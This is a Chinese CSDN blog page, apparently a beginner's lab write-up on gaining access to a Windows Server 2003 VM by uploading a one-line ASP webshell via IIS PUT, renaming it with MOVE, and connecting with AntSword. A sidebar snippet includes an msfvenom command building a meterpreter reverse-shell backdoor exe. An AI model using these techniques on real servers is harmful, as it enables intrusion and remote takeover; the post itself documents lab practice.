感受第一次拿权（逆向选手初入渗透）

最新推荐文章于 2024-09-16 21:11:51 发布

P_Black_K

最新推荐文章于 2024-09-16 21:11:51 发布

阅读量139

点赞数

文章标签： windows 网络安全 http web安全

本文链接：https://blog.csdn.net/P_Black_K/article/details/127100015

版权

先搭建一个windows2003然后使用蚁剑和IISwrite进入服务器

在windows20003中找到自己的ip通过IISwrite的put向windows2003中传输一句话木马

再通过move将txt转化位asp

在windows2003中发现两个文件

然后让蚁剑连一下

然后就进入到windows2003的系统里了

关注博主即可阅读全文

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

P_Black_K

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
1
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令

杨秀璋的专栏

03-19

1万+

作为Web渗透的初学者，Linux基础知识和常用命令是我们的必备技能，本文详细讲解了Linux相关知识点及Web渗透免了高龄。如果想玩好Kali或渗透，你需要学好Linux及相关命令，以及端口扫描、漏洞利用、瑞士军刀等工具。安全领域通常分为网络安全（Web渗透）和系统安全（PWN逆向）两个方向。非常基础的一篇文章，希望能够帮助到您！

渗透提权小思路总结

CC's Blog

03-19

3469

开始找工作了，先总结一点渗透的手段，面试的时候可能用的着，我始终坚信机会是留给有准备的人的，多一份努力，就多一份机遇。稍微写一点渗透的小思路、小技巧，主要讲的是思路，所有不会太详细。注意经常逛一些好的博客或者门户站，坚持下来，每天学一点思路，你会积累到很多东西，记住：技术需要时间沉淀。欢迎来俺博客玩http://www.cnseay.com （一）针对网站程序，不考

1 条评论您还未登录，请先登录后发表或查看评论

冲击红队第一天 - Web安全介绍与基础入门

在下小黄的博客

07-31

1471

大家好！我是小黄，很高兴又跟大家见面啦！拒绝水文，从我做起！！！！未经允许，禁止转载，违者必究！！！！本实验仅适用于学习和测试，严禁违法操作！！！今天更新的是：冲击红队第一天 - Web安全介绍与基础入门微信公众号回复：【学习笔记】，即可获取本文全部涉及到的工具。创建时间：2021年7月31日软件： MindMaster Pro、语雀冲击红队第一天 - Web安全介绍与基础入门一、渗透测试（PTES）渗透测试概念：渗透测试意义：渗透测试目的：入侵途径：程

Metasploit Framework（8）后渗透测试（一）

weixin_30825199的博客

11-08

101

文章的格式也许不是很好看，也没有什么合理的顺序完全是想到什么写一些什么，但各个方面都涵盖到了能耐下心看的朋友欢迎一起学习，大牛和杠精们请绕道使用场景： Kali机器IP：192.168.163.132 WindowsXP机器IP：192.168.163.134 如果以及获取了目标服务器的控制权之后，如何扩大战果？所以我们首先需要一个已经获取了控制权的目标机器我...

网站攻击与拿权工具集合一

11-26

此版本含有教程，大家可以试试·不过别用过头了！建议在XP以下系统运行，2003最好的。先在地址栏输入百度。然后按照说明中的参数，找到每一个网站的漏洞，享受破解与攻击吧！本作品只限用于学习之用！

Kali系列之multi/handler(渗透win7)

weixin_34007879的博客

04-13

1230

环境靶机 192.168.137.133 kali 192.168.137.135 步骤+ 生成后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.135 LPORT=50000 -f exe -o openme.exe msfvenom -p windows/meterpreter...

旁注虚拟主机IIS权限重分配跨目录得webshell

Coisini的博客

06-12

296

国内的IDC运营商最常见的模式就是IIS搭配解析asp，有星外，新网，西数，华众等等。。。这些虚拟主机提权都是相当难。最近小生在和习科核心渗透群里的一次渗透测试中，就遇到了一次，这里讲一下。 I)前奏旁注，同服，虚拟主机服务器，只支持asp解析，aspx和php都不支持最幸运的是，这个虚拟主机居然忘了禁用wscript 但是服务器上装了流氓软件360和杀毒软件诺顿，虽然我不太理解流氓软...

【刷题】数据结构——Java常见数据结构

最新发布

qq_42581685的博客

09-16

176

【代码】【刷题】数据结构——Java常见数据结构。

Java对象列表属性映射工具类

NoviceZ的博客

09-13

263

经常有这种情况，就是获取到一个对象列表之后，需要根据对象里某个字段的值去获取另一个字段的值。如下所示，有个Item对象列表，Item对象里有个id字段和Value字段，现需要根据id的值去查询value的值。

【无标题】

You辉编程的博客

09-13

296

【代码】【无标题】

Java的泛型擦除

JustinMars的博客

09-13

143

Java 的泛型通过类型擦除机制在编译时确保类型安全，并且在运行时移除泛型信息以保持向后兼容性。这虽然提供了类型安全的好处，但也带来了运行时类型信息丢失和其他一些限制，需要在使用泛型时小心处理。

源码分析：LinkedList

AWSDN的博客

09-13

776

本文主要介绍LinkedList的内容

java-lambda-常用方法总结汇总

super_vegetable_bird的博客

09-11

1000

2、获取对象集合中的（一个或者某个字段）生成新的对象集合转1、获取对象集合中的一个字段生成新的集合，【转。

【C语言】预处理详解

2301_81723939的博客

09-13

682

C语⾔设置了⼀些预定义符号，可以直接使⽤，预定义符号也是在预处理期间处理的。__FILE__ //进⾏编译的源⽂件__LINE__ //⽂件当前的⾏号__DATE__ //⽂件被编译的⽇期__TIME__ //⽂件被编译的时间__STDC__ //如果编译器遵循ANSI C，其值为1，否则未定义用 #define 进行定义，其中name可以自己起，内容可以是数字、字符串、代码等.......#define reg register //为 register这个关键字，创建⼀个简短的名字;

java中SPI（服务提供者的接口）

醉卧雕龙舫，的博客

09-14

607

java中SPI

Collection

qq_63126439的博客

09-13

339

java.util.Collections:是集合工具类。作用：Collections不是集合，而是集合的工具类。

C++笔记---list

2302_80372340的博客

09-10

1382

list其实就是就是我们所熟知的链表（双向循环带头结点），但其是作为STL中的一个类模板而存在。也就是说，list是可以用来存储任意类型数据的顺序表，既可以是内置类型，也可以是自定义类型，或是STL中的其他容器。除了底层的实现不同以外，用法与vector基本相同，但不支持随机访问，以及与随机访问有关的接口。具体以为准，本文为该文档的一个简单总结与标注。

Java集合（八股）

m0_67466364的博客

09-12

1408

集合有两大接口。

C语言实现一个简单的点歌系统

嵌入式行业打工人，不定期更新博客。

09-13

1345

请注意，这只是一个非常基础的实现，实际应用中还需要考虑错误处理、输入验证、更复杂的用户界面等。此外，为了使程序更加完整，还可以添加删除歌曲、修改歌曲信息等功能。如果要保存歌曲信息，可以考虑使用文件操作来读写数据。创建一个简单的点歌系统可以用C语言实现，这里提供一个基本的框架。这个系统可以包括歌曲列表、用户选择歌曲的功能以及播放歌曲的功能。则根据用户的选择“播放”歌曲（在这里只是输出歌曲的信息）。结构体来保存每首歌的名字和艺术家名字。结构体来存储歌曲列表，并定义了。函数用于添加新歌到播放列表，